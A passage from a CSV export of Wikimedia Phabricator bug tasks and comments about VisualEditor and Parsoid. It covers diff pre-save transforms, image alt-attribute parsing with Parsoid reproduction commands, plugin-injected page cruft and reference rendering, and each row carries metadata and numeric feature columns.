+https://gerrit.wikimedia.org/r/129251",,,1398282667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+253854,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"VE's API ""diff"" option instantiates its own DifferenceEngine but fails to set the PST option.",,,1377903454,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+253846,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"Marking as ""minor"" as we don't provide a built-in way for subst: to be added (yet) to transclusion invocations.",,,1375303837,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+253841,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"Sorry, my bad. I forgot I was using custom JS to generate diffs.",,,1375303217,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+253835,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"No, it shows the substituted code.",,,1375302317,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+253830,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"Isn't this how normal diffs work? If I replace the sandbox with {{subst:test}}, it just shows the addition of the text ""{{subst:test}}"" when you hit show changes.",,,1375302025,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0
+54341,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"en.wp user User:Timwi reports
+
+""On the page [[Earth]], we had the following markup code:
+
+[[File:(filename)|thumb|700px|center| (caption here) |alt= (alt text here) ]]
+
+The VisualEditor parsed this incorrectly and assumed that “alt= (alt text here)” was the ''caption''.
+
+Changing the order of the items fixed this despite having no effect on the rendered page, which indicates that it’s a bug in VisualEditor and not incorrect MediaWiki markup."" http://en.wikipedia.org/w/index.php?title=Earth&diff=566614668&oldid=566595613 
+
+I've done some testing in my sandbox and it seems like the issue is somehow related to the presence of the {{val}} template. I wasn't able to replicate the bug with the {{small}} or {{convert}} templates for example, but I've not done extensive testing with the latter or with any other template.
+
+https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=566618437&veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://parsoid-lb.eqiad.wikimedia.org/enwiki/User:Thryduulf/sandbox?oldid=566618437",Medium,50.0,1375300620,1426634110.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+428056,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"Done now. Will be deployed tomorrow after a round of RT-testing. Can be reopened, if necessary.",,,1426634110,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,89,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+427774,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"Change 197120 merged by jenkins-bot:
+T54341: Recover content from non-string tokens for img option alt
+
+[[https://gerrit.wikimedia.org/r/197120]]",,,1426608678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,False,,,89,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+427179,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"Change 197120 had a related patch set uploaded (by Subramanya Sastry):
+WIP: T54341: Recover content from non-string tokens for img option alt
+
+[[https://gerrit.wikimedia.org/r/197120]]
+",,,1426534930,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,False,,,89,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+423438,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"This is a difference in how links are handled in alt-attributes, and nothing to do with templates.
+```
+[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=Foo ]]' | node parse --fetchConfig false --normalize=parsoid
+<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img alt=""Foo"" resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>Caption here</figcaption></figure>
+
+[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=[[Foo]] ]]' | node parse --fetchConfig false --normalize=parsoid
+<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"">Foo</a> </figcaption></figure>
+
+[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt={{echo|[[Foo]]}} ]]' | node parse --fetchConfig false --normalize=parsoid
+<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"" typeof=""mw:Transclusion"" data-mw='{""parts"":[{""template"":{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""1"":{""wt"":""[[Foo]]""}},""i"":0}}]}'>Foo</a> </figcaption></figure>
+```
+
+However, the PHP parser generates identical HTML for the ""alt=Foo"" and ""alt=[[Foo]]"" cases above.",,,1425937538,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,88,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+423437,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"This is a difference in how links are handled in alt-attributes, and nothing to do with templates.
+```
+[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=Foo ]]' | node parse --fetchConfig false --normalize=parsoid
+<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img alt=""Foo"" resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>Caption here</figcaption></figure>
+
+[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=[[Foo]] ]]' | node parse --fetchConfig false --normalize=parsoid
+<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"">Foo</a> </figcaption></figure>
+
+[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt={{echo|[[Foo]]}} ]]' | node parse --fetchConfig false --normalize=parsoid
+<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"" typeof=""mw:Transclusion"" data-mw='{""parts"":[{""template"":{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""1"":{""wt"":""[[Foo]]""}},""i"":0}}]}'>Foo</a> </figcaption></figure>
+```
+
+However, the PHP parser generates identical HTML for the ""alt=Foo"" and ""alt=[[Foo]]"".",,,1425937523,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,88,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+423436,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"This is a difference in how links are handled in alt-attributes, and nothing to do with templates.
+```
+[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=Foo ]]' | node parse --fetchConfig false --normalize=parsoid
+<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img alt=""Foo"" resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>Caption here</figcaption></figure>
+
+[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=[[Foo]] ]]' | node parse --fetchConfig false --normalize=parsoid
+<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"">Foo</a> </figcaption></figure>
+
+[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt={{echo|[[Foo]]}} ]]' | node parse --fetchConfig false --normalize=parsoid
+<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"" typeof=""mw:Transclusion"" data-mw='{""parts"":[{""template"":{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""1"":{""wt"":""[[Foo]]""}},""i"":0}}]}'>Foo</a> </figcaption></figure>
+```",,,1425937447,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,88,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+406362,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"The problem seems to be with the link that the val template emits and Parsoid is somehow barfing on it. Can be reproduced with the following reduced test case:
+``` [[File:Foo.jpg|thumb|Caption here|alt=This {{echo|[[will]]}} break]]```
+Compare with output of
+``` [[File:Foo.jpg|thumb|Caption here|alt=This {{echo|will not}} break]]```",,,1423003789,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,83,,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+253592,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"Never mind. My eyes deceived me. The following snippet still parses incorrectly.
+
+[[File:Solar Life Cycle.svg|thumb|700px|center|The life cycle of the Sun|alt=14 billion year timeline showing Sun's present age at {{val|4.6|ul=byr}}; from {{val|6|u=byr}} Sun gradually warming, becoming a red dwarf at, ""soon"" followed by its transformation into a white dwarf star]]",,,1406236435,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,55,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+253586,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,Verified fixed in deployed Parsoid version.,,,1406236095,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,55,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+54327,Broken browser plugins cause cruft to be injected into the page (tracking),"
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1375286580,1524218709.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-y754cxtupebi6bfunc3e,task_description,invalid,True,c1,3,True,False,False,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+1163980,Broken browser plugins cause cruft to be injected into the page (tracking),"If you don't replace a tracking bug with anything, you lose a useful feature to navigate between tasks…",,,1540255797,,PHID-USER-4z6eerx3m7iocsrcpku5,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,False,,,277,,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+1054622,Broken browser plugins cause cruft to be injected into the page (tracking),Tracking bugs existed as a workaround to Bugzilla's shortcomings. There's no utility in keeping this around now.,,,1524218709,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,True,,,250,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+596207,Broken browser plugins cause cruft to be injected into the page (tracking),">>! In T54327#1948228, @Jdforrester-WMF wrote:
+>>>! In T54327#1948146, @Nemo_bis wrote:
+>> How to share the blacklist (or whatever cleanup method VisualEditor is currently using) with other consumers of Parsoid, such as T124152?
+> 
+> They should sub-class VisualEditor, which is tracked in {T105447} which I've now linked that to.
+
+Makes sense. What if someone else, maybe outside MediaWiki, desired to use Parsoid for two-way conversion? Should everyone subclass VisualEditor or is this sort of HTML/wikitext cleanup of more general use?",,,1453673063,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,True,,,133,,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,1,1,0,1
+593381,Broken browser plugins cause cruft to be injected into the page (tracking),">>! In T54327#1948146, @Nemo_bis wrote:
+> How to share the blacklist (or whatever cleanup method VisualEditor is currently using) with other consumers of Parsoid, such as T124152?
+
+They should sub-class VisualEditor, which is tracked in {T105447} which I've now linked that to.",,,1453306858,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,True,,,133,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
+593359,Broken browser plugins cause cruft to be injected into the page (tracking),"How to share the blacklist (or whatever cleanup method VisualEditor is currently using) with other consumers of Parsoid, such as T124152?",,,1453304786,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,True,,,133,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0
+460877,Broken browser plugins cause cruft to be injected into the page (tracking),"What is this tracking, nowadays?",,,1432053265,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,False,,,98,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0
+252865,Broken browser plugins cause cruft to be injected into the page (tracking),"I wonder if https://ru.wikipedia.org/?diff=65612328 is another instance of this, or if it's a copy-paste bug instead.",,,1410976801,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,False,,,63,,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+252862,Broken browser plugins cause cruft to be injected into the page (tracking),"Added #53315 for texts looking like telephone numbers changed in <a href=""tel:..."">...</a>",,,1377428723,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
+252859,Broken browser plugins cause cruft to be injected into the page (tracking),"On en wikipedia most of these are detected by
+http://en.wikipedia.org/wiki/Special:AbuseFilter/345
+Other common cases include
+myEventWatcherDiv
+QuickiWiki Look Up
+application/x-datavault
+end_of_the_skype_highlighting
+inlineAdmedialink
+_clearly_component
+ktg6us78hf8vdu7
+
+Most are not visible the but ktg6us78hf8vdu7 makes a right mess trying to add javascript links everywhere
+http://en.wikipedia.org/w/index.php?title=Shane_Watson&diff=prev&oldid=568280885",,,1376399632,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-y754cxtupebi6bfunc3e,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0
+54320,VisualEditor: Media items are clearing templates (or they're being forced to width:100%?),"Screenshot
+
+Adding an image with caption besides a list creates whitespace in edit mode, see screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://de.wikipedia.org/wiki/116._Panzer-Division_(Wehrmacht)
+
+**Attached**: {F11788}",Medium,50.0,1375271820,1394223928.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-xoiz3tzy2fgdd4xhxob7,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+252444,VisualEditor: Media items are clearing templates (or they're being forced to width:100%?),"This is caused by bug 51708 – all inline templates assume 100% width, which breaks all floated items.
+
+*** This bug has been marked as a duplicate of bug 51708 ***",,,1394223928,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xoiz3tzy2fgdd4xhxob7,task_subcomment,,True,c1,3,True,,,35,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+54300,"VisualEditor: Reference defined inside a reference list but of a different group inside template appears as part of the template and also in the appropriate reference list, but blank this time","**Author:** `kwwilliams`
+
+**Description:**
+In http://en.wikipedia.org/w/index.php?title=List_of_record_charts&oldid=566209687, notice how Note 1 gets transformed in the string ""1.0.1.1"" and the actual contents of Note 1 becomes reference 19, which is completely unused in the article body.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53486",Medium,50.0,1375225080,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ydvvzyrpkompusxbw5gr,task_description,open,True,c1,3,False,False,,4,,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1
+251357,"VisualEditor: Reference defined inside a reference list but of a different group inside template appears as part of the template and also in the appropriate reference list, but blank this time","Clarify the title to explain what I think is happening:
+
+| VisualEditor: Reference defined inside a reference list but of a different group inside template appears as part of the template and also in the appropriate reference list, but blank this time",,,1377817614,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ydvvzyrpkompusxbw5gr,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+251351,"VisualEditor: Reference defined inside a reference list but of a different group inside template appears as part of the template and also in the appropriate reference list, but blank this time",I can confirm this is still happening.,,,1377815025,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ydvvzyrpkompusxbw5gr,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+54281,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","When we edit using the visual editor, we still get
+mw.config.get( 'wgAction' ) === 'view'
+instead of
+mw.config.get( 'wgAction' ) === 'edit'
+
+See also
+http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070603.html
+which quotes
+http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070601.html
+
+--------------------------
+**Version**: unspecified
